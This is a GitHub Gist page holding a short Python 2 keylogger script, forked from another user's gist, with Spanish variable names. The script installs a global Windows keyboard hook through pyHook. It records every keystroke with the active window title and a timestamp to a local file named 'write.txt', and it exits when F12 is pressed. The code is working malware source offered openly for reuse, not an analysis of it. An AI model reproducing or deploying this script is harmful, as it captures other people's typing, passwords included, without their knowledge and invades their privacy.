Skip to content

Instantly share code, notes, and snippets.

@binhoul
Forked from daryo918/keylogger.py
Created November 8, 2013 07:31
Show Gist options
  • Save binhoul/7367482 to your computer and use it in GitHub Desktop.
Save binhoul/7367482 to your computer and use it in GitHub Desktop.
# -*- coding: iso-8859-15 -*-
import pythoncom, pyHook, time
n = "ventana"
def OnKeyboardEvent(event):
global n
teclas = event.Key
ventana = event.WindowName
tiempo=time.asctime()
nm = open("write.txt","a")
if teclas=="Space":
teclas=" "
if teclas =="Oem_Comma":
teclas=","
if teclas=="Oem_Period":
teclas="."
if teclas=="Oem_4":
teclas="'"
if teclas=="Oem_6":
teclas="¿"
if teclas=="Oem_Plus":
teclas="+"
if teclas=="Oem_Minus":
teclas="-"
if teclas=="Return":
teclas="\n"
if teclas=="Capital":
teclas=" mayus "
if n == ventana:
print "mismo programa"
else:
nm.write("\n---------------------------\n")
teclas = "\n" + "programa:" + ventana + "\n" + tiempo + "\n" + "captura:" + teclas
nm.write(teclas)
nm.close()
if teclas == "F12":
exit("acabado")
n = ventana
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment